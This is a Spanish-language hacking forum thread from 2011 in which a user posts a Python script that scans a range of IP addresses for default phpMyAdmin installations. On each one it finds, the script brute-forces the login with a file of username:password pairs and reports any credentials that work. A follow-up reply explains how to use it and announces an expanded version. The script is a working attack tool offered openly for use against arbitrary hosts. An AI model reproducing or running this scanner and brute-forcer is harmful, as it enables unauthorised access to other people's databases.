comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Python phpmyadmin "BruteForce"

  • 2 Respuestas
  • 2319 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado linkgl

  • *
  • Underc0der
  • Mensajes: 45
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Agosto 14, 2011, 12:23:10 pm »
He creado esta versión pública que prueba un user y pass en un rango de ip's que se le otorgue, jeje luego saldrá la otra versión que busca de una manera más inteligente las ip's y con un fichero donde probar distintos users/pass para acceder al phpmyadmin de algun sitio  ;D
Código: Python
  1. #!usr/bin/python
  2. import httplib, urllib, urllib2, cookielib
  3. print """
  4. _                ___                                ___
  5. | |              |   \\                              |  _\\
  6. | |__            |  _/                              |   \\
  7. |____| I N K G L |_|  H P M Y A D M I N F I N D E R |___/ R U T E F O R C E
  8.       - indetectables.net/foro/ -
  9.     - Orgulloso de ser Indetectable -
  10.     - funcion-linkgl.blogspot.com -
  11. """
  12. ###############################
  13. # Script desarrollado         #
  14. # por linkgl                  #
  15. # v.Publica                   #
  16. # 03/01/11                    #
  17. # Funcion-linkgl.blogspot.com #
  18. # indetectables.net           #
  19. # Orgulloso de ser            #
  20. # indetectable                #
  21. ###############################
  22. ipInicial=raw_input("Introduce la IP inicial\n")
  23. ipFinal=raw_input("Introduce la IP final\n")
  24. contador=1
  25. cont=0
  26. while(ipInicial != ipFinal):
  27.   corte=ipInicial.split(".")
  28.   if (corte[3]!="255"):  
  29.     corte[3]=contador
  30.   else:
  31.     corte[2]=int(corte[2])+1
  32.     corte[3]=0
  33.     contador=1
  34.   ipInicial=corte[0]+"."+corte[1]+"."+str(corte[2])+"."+str(corte[3])
  35.  
  36.   try:
  37.     conexion = httplib.HTTPConnection(ipInicial,80,timeout=0.2)
  38.     conexion.request ("GET", "/phpmyadmin/index.php")
  39.     respuesta = conexion.getresponse()
  40.     data=respuesta.read()
  41.     if(data.find("phpMyAdmin")!=-1):
  42.       print "LPB bot: phpMyAdmin Encontrado en ->" + ipInicial + "/phpmyadmin<- Iniciando bruteforce"
  43.       fp=open("bd.txt","r")
  44.       linea=fp.readline()
  45.       while(linea!=""):
  46.         log=linea.split(":")
  47.         galleta = cookielib.CookieJar()
  48.         variables = urllib.urlencode({'lang':'en-utf-8','convcharset':'iso-8859-1','server': '1','submit': 'Go','pma_username': log[0],'pma_password': log[1]})
  49.         opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(galleta))
  50.         site = opener.open("http://"+ipInicial+"/phpmyadmin/index.php", variables).read()
  51.         if(site.find(ipInicial)!=-1):
  52.           print "LPB bot: Accediste al sistema -> " + log[0] + ":" + log[1]
  53.         linea=fp.readline()
  54.       fp.close()  
  55.   except:
  56.     cont=0
  57.    
  58.   contador=contador+1

Desconectado Helper

  • *
  • Underc0der
  • Mensajes: 18
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Agosto 18, 2011, 08:42:28 pm »
como se usa?

Desconectado linkgl

  • *
  • Underc0der
  • Mensajes: 45
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 19, 2011, 12:14:37 pm »
Pones un rango de ip's e intenta acceder a ellas abriendo el phpmyadmin por default, la nueva versión accede a ellas pero usando una lista con diferentes rutas del phpmyadmin, users y pass

 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1240
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1206
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
[VIDEOTUTORIAL] Aprende a crear programas en Python paso a paso

Iniciado por akame_night_raid

Respuestas: 12
Vistas: 6167
Último mensaje Noviembre 24, 2016, 07:37:14 pm
por zaphiel
[Introducción+código] Introducción al Manejo de Bases de Datos MySQL en Python

Iniciado por blozzter

Respuestas: 2
Vistas: 1623
Último mensaje Noviembre 04, 2011, 06:05:29 pm
por blozzter
[Python] Mini clase para enviar datos POST - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 1573
Último mensaje Diciembre 08, 2011, 05:24:26 am
por JaAViEr